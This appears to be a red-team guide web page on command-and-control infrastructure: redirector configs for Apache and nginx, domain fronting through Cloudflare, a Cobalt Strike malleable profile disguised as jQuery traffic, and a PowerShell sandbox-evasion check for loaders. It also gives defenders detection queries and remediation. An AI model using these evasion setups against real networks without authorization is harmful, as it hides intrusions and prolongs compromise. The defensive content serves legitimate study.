Skip to Content
Command and control infrastructure diagram showing redirectors and teamserver separation

Command and Control Infrastructure Setup and OPSEC

C2 infrastructure architecture guide covering redirectors, domain fronting, malleable profiles, CDN-based evasion, and operational security.

Nov 17, 2026
Updated Nov 22, 2026
15 min read

Introduction

Don't expose a C2 teamserver directly to the internet. Blue teams run passive DNS, JA3 fingerprinting and threat intel enrichment against suspicious IPs all the time. Once the teamserver IP is flagged (a sandbox detonation, a misconfigured implant, a defender searching Shodan), it is burned for the rest of the engagement, and it often lands in shared threat intel feeds within a day.

A redirector fixes this. It is a cheap VPS that sits between your implants and the teamserver, so the implants never learn the teamserver's real IP. If defenders burn a redirector, you lose a few dollars and fifteen minutes of reconfiguration. If they burn the teamserver, you lose the engagement.

Domain choice matters as much as IP hygiene. Freshly registered domains trigger immediate suspicion in most proxy/DNS reputation systems. Aged, categorized domains that previously hosted legitimate content inherit the trust of their history. A domain that has been "Business/Finance" in Bluecoat's BCWF category for three years gets through more web proxies than anything you register today.

Authorization Required

C2 infrastructure techniques described here are for authorized penetration testing and red team engagements only. Deploying implants or redirectors against systems you do not have written authorization to test is illegal under the Computer Fraud and Abuse Act, the UK Computer Misuse Act, and equivalent legislation in most jurisdictions. Rules of engagement must explicitly permit the infrastructure configuration being used.

Impact

  • The teamserver IP never appears to the target network or the public internet.
  • A burned redirector can be replaced in minutes while the teamserver and its sessions stay up.
  • Aged, categorized domains pass corporate web proxies and DNS reputation checks that block new domains by default.
  • With CDN fronting, defenders see CDN edge IPs (Cloudflare, Akamai, Fastly) in firewall logs instead of IPs you control.
  • A good malleable C2 profile makes implant traffic look like ordinary application traffic in a packet capture.
  • mTLS listeners stop passive interception and man-in-the-middle of the C2 channel.

Technical details

Architecture

The usual red team C2 layout splits infrastructure into tiers:

TierComponentPurpose
0Attacker workstationCobalt Strike / Sliver client
1TeamserverImplant management and payload hosting, never exposed to the internet
2Redirector(s)Internet-facing VPS, proxies traffic to teamserver
3CDN / domain frontingAnother layer of IP indirection through a cloud provider

Inbound implant traffic takes this route: Target → CDN edge (optional) → Redirector → Teamserver. The teamserver firewall accepts connections only from redirector IPs on specific ports. Outbound operator connections go directly to the teamserver over SSH tunnels or VPN.

Domain acquisition

Find an aged domain

Use expireddomains.net filtered by:

  • Age: minimum 1 year
  • Status: available
  • Category: filter by Bluecoat/Symantec categories (Business, Finance, Technology, News)

Verify category before purchase:

Check domain reputation
# Bluecoat site review
curl "https://sitereview.bluecoat.com/resource/lookup" \
  -H "Content-Type: application/json" \
  -d '{"url":"targetdomain.com","captcha":""}'

# VirusTotal passive DNS check
curl -s "https://www.virustotal.com/api/v3/domains/targetdomain.com" \
  -H "x-apikey: $VT_API_KEY" | jq '.data.attributes.last_analysis_stats'

Get a TLS certificate

Implants that talk HTTPS need a valid certificate. Self-signed certificates get flagged by most EDR products and network monitoring.

Let's Encrypt cert via certbot
# Standalone mode: temporarily binds port 80
certbot certonly --standalone -d updates.yourdomain.com

# Output: /etc/letsencrypt/live/updates.yourdomain.com/
#   fullchain.pem
#   privkey.pem

Convert for Cobalt Strike keystore:

Convert PEM to Java keystore
openssl pkcs12 -export \
  -in /etc/letsencrypt/live/updates.yourdomain.com/fullchain.pem \
  -inkey /etc/letsencrypt/live/updates.yourdomain.com/privkey.pem \
  -out updates.p12 \
  -name updates \
  -passout pass:changeit

keytool -importkeystore \
  -srckeystore updates.p12 \
  -srcstoretype PKCS12 \
  -destkeystore updates.store \
  -deststorepass changeit

Configure DNS

Point the domain's A record at the redirector IP. If you use Cloudflare for CDN fronting, turn on the orange cloud (proxied) for the record. DNS responses then return Cloudflare's anycast IP instead of the redirector's.

updates.yourdomain.com    A    REDIRECTOR_IP    proxied: true

Cloudflare then accepts HTTPS connections at the edge and forwards to your origin (redirector) using the Host header. Your redirector's real IP never appears in DNS.

Apache Redirector with mod_rewrite

The redirector forwards only the URI paths your profile uses and sends every other request somewhere harmless. Automated scanners that probe for C2 panels, or that fingerprint whatever answers on the root path, never reach the teamserver.

/etc/apache2/sites-enabled/redirector.conf
<VirtualHost *:443>
    ServerName updates.yourdomain.com

    SSLEngine on
    SSLCertificateFile    /etc/letsencrypt/live/updates.yourdomain.com/fullchain.pem
    SSLCertificateKeyFile /etc/letsencrypt/live/updates.yourdomain.com/privkey.pem

    # Required modules: mod_rewrite, mod_proxy, mod_proxy_http, mod_ssl
    RewriteEngine On

    # Drop requests with unexpected Host headers (scanner/shodan mitigation)
    RewriteCond %{HTTP_HOST} !^updates\.yourdomain\.com$ [NC]
    RewriteRule .* - [F,L]

    # Only proxy requests matching beacon URI paths to teamserver
    RewriteCond %{REQUEST_URI} ^/updates/(.*)$
    RewriteRule ^/updates/(.*) https://TEAMSERVER_IP/$1 [P,L]

    RewriteCond %{REQUEST_URI} ^/cdn-cgi/(.*)$
    RewriteRule ^/cdn-cgi/(.*) https://TEAMSERVER_IP/cdn-cgi/$1 [P,L]

    # All other requests: serve legitimate content or redirect to innocuous site
    RewriteRule .* https://www.microsoft.com/en-us/windows/windows-11 [R=302,L]

    # Don't pass X-Forwarded-For to teamserver
    ProxyPreserveHost Off
    RequestHeader unset X-Forwarded-For
    RequestHeader unset X-Forwarded-Host

    ErrorLog /var/log/apache2/redirector_error.log
    CustomLog /var/log/apache2/redirector_access.log combined
</VirtualHost>

Enable required modules and restart:

Enable Apache modules
a2enmod rewrite proxy proxy_http ssl headers
systemctl restart apache2

nginx redirector

/etc/nginx/sites-enabled/redirector.conf
server {
    listen 443 ssl;
    server_name updates.yourdomain.com;

    ssl_certificate     /etc/letsencrypt/live/updates.yourdomain.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/updates.yourdomain.com/privkey.pem;

    # Only proxy matching paths
    location ~ ^/(updates|cdn-cgi)/ {
        proxy_pass          https://TEAMSERVER_IP;
        proxy_ssl_verify    off;
        proxy_set_header    Host $host;
        # Strip source IP info
        proxy_set_header    X-Forwarded-For "";
        proxy_set_header    X-Real-IP "";
    }

    # Everything else → legitimate site
    location / {
        return 302 https://www.microsoft.com/en-us/windows/windows-11;
    }
}

Teamserver firewall rules

The teamserver drops every connection that doesn't come from a redirector or an operator IP:

iptables rules for teamserver
# Flush existing rules
iptables -F INPUT

# Allow existing connections
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

# Allow SSH from operator IPs only
iptables -A INPUT -p tcp --dport 22 -s OPERATOR_IP -j ACCEPT

# Allow beacon traffic from redirector(s) only
iptables -A INPUT -p tcp --dport 443 -s REDIRECTOR_IP -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -s REDIRECTOR_IP_2 -j ACCEPT

# Drop everything else
iptables -A INPUT -j DROP

# Persist rules
iptables-save > /etc/iptables/rules.v4

Attack tools

Malleable C2 profile

A malleable profile controls how the Cobalt Strike payload shapes its HTTP requests and responses: URIs, headers, where the metadata goes and how it is encoded. The aim is traffic that matches an application the target already sees every day.

The jQuery profile imitates requests for a jQuery file from a CDN, which shows up on nearly every corporate network:

jquery.profile (excerpt)
set sleeptime "60000";       # callback interval in milliseconds (60s)
set jitter    "20";          # ±20% variance
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36";

http-get {
    set uri "/jquery-3.3.1.min.js";

    client {
        header "Accept" "text/javascript, application/javascript, */*";
        header "Referer" "https://code.jquery.com/";
        header "Accept-Language" "en-US,en;q=0.9";

        metadata {
            base64url;
            prepend "jQuery_";
            header "Cookie";
        }
    }

    server {
        header "Content-Type" "application/javascript; charset=utf-8";
        header "Cache-Control" "max-age=86400";
        header "X-Content-Type-Options" "nosniff";

        output {
            base64url;
            prepend "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */";
            print;
        }
    }
}

http-post {
    set uri "/jquery-3.3.1.min.js";

    client {
        header "Content-Type" "application/x-www-form-urlencoded";
        header "Referer" "https://code.jquery.com/";

        id {
            base64url;
            prepend "id=";
            parameter "id";
        }

        output {
            base64url;
            parameter "data";
        }
    }

    server {
        header "Content-Type" "application/javascript; charset=utf-8";

        output {
            base64url;
            prepend "/*! jQuery v3.3.1 */";
            print;
        }
    }
}

Check the profile with c2lint before loading it:

Validate malleable profile
./c2lint jquery.profile

Start the teamserver with the profile:

Start Cobalt Strike teamserver
./teamserver TEAMSERVER_IP "password" jquery.profile \
  updates.store changeit

Add the listener in the Cobalt Strike client:

  • Listeners → Add → HTTPS
  • Host: updates.yourdomain.com
  • Port: 443
  • Bind Port: 443 (on teamserver)

Detection

Network indicators

SignalDetection logic
JA3/JA3S fingerprintKnown C2 TLS fingerprints (Cobalt Strike default: 72a7c9fefbba174acf6d8df0d8ed0a2d)
Callback regularityOutbound connections at intervals with low variance
URI pattern consistencySame URI hit at regular intervals from single host
HTTP header orderingNon-browser header order in User-Agent requests
Certificate fieldsSelf-signed or Let's Encrypt certs on IPs rather than hostnames
Domain age<30 days in passive DNS with HTTPS traffic from internal hosts

Host indicators

EventWhat to look for
Security 4688, Sysmon 1Odd parent-child process chains, for example winword.exe → powershell.exe → rundll32.exe
Sysmon 3Network connections from Office processes or svchost.exe to non-Microsoft IPs
Sysmon 22DNS queries for newly registered or uncategorized domains from unusual processes
System 7045, Security 4697New services that match known stager persistence patterns

SIEM queries

Splunk: callback regularity
index=network_proxy sourcetype=proxy
| eval hour=strftime(_time, "%Y-%m-%d %H")
| stats count by src_ip, dest_host, hour
| eventstats avg(count) as avg_count, stdev(count) as stdev_count by src_ip, dest_host
| where stdev_count < 2 AND count > 5
| table src_ip, dest_host, count, avg_count, stdev_count
Elastic: Cobalt Strike default TLS fingerprint
event.category:network AND tls.client.ja3:72a7c9fefbba174acf6d8df0d8ed0a2d
Splunk: periodic HTTP callbacks to CDN-proxied domains
index=proxy sourcetype=squid
| where match(cs_host, "\.cloudflare\.com$") OR match(cs_host, "\.fastly\.net$")
| stats dc(cs_uri_path) as unique_paths, count by src_ip, cs_host
| where unique_paths < 3 AND count > 20

Remediation

For defenders

  • Terminate and inspect HTTPS at the proxy. Categorize-and-allow setups skip inspection for allowed categories, which is exactly where an aged, categorized C2 domain lands. Inspect uniformly or accept the blind spot.
  • Use DNS RPZ or reputation filtering to block domains registered in the last 30 days. Most enterprise proxies and resolvers can also block uncategorized domains; turn that on.
  • Run allowlist egress: each application may reach only its known destinations. Default-deny egress makes domain fronting much harder to operate.
  • Fingerprint TLS at the perimeter, for example Zeek with JA3 logging. Alert on known-bad JA3 hashes and on unusual hashes from server processes.
  • Force all outbound traffic through an authenticated proxy and compare the claimed User-Agent with the TLS fingerprint. A Chrome user agent on a non-Chrome TLS handshake is a strong signal.
  • Run RITA (Active Countermeasures) over Zeek logs. It scores connection intervals and sizes and flags hosts that call out on a schedule.

For operators

  • Never submit payloads to VirusTotal or any public sandbox. Threat intel vendors harvest those submissions, and the payload and its infrastructure can be burned within hours.
  • Add sandbox detection to loaders: check for low process count (< 50), presence of analysis tool artifacts (vboxsf, vmtoolsd.exe), and domain-joined status before executing.
  • Use separate infrastructure per engagement. Shared redirectors across engagements create linkage if one engagement's defenders share IOCs.
  • Rotate domains after any detection or blue team inquiry. If a defender asks your handler about suspicious DNS, assume the domain is blown.
  • Monitor your own infrastructure: run fail2ban, watch Apache/nginx logs for scanner probes, and alert on unexpected source IPs hitting your redirectors.
Sandbox environment check: loader snippet
# Check for analysis artifacts before detonating (PowerShell)
$processes = (Get-Process).Count
$domain = (Get-WmiObject Win32_ComputerSystem).Domain
$cpu = (Get-WmiObject Win32_Processor).NumberOfCores

if ($processes -lt 50 -or $domain -eq "WORKGROUP" -or $cpu -lt 2) {
    # Sleep and exit: sandbox environment detected
    Start-Sleep -Seconds 300
    exit
}

References

MITRE ATT&CK Techniques

Tool documentation

Next steps

On this page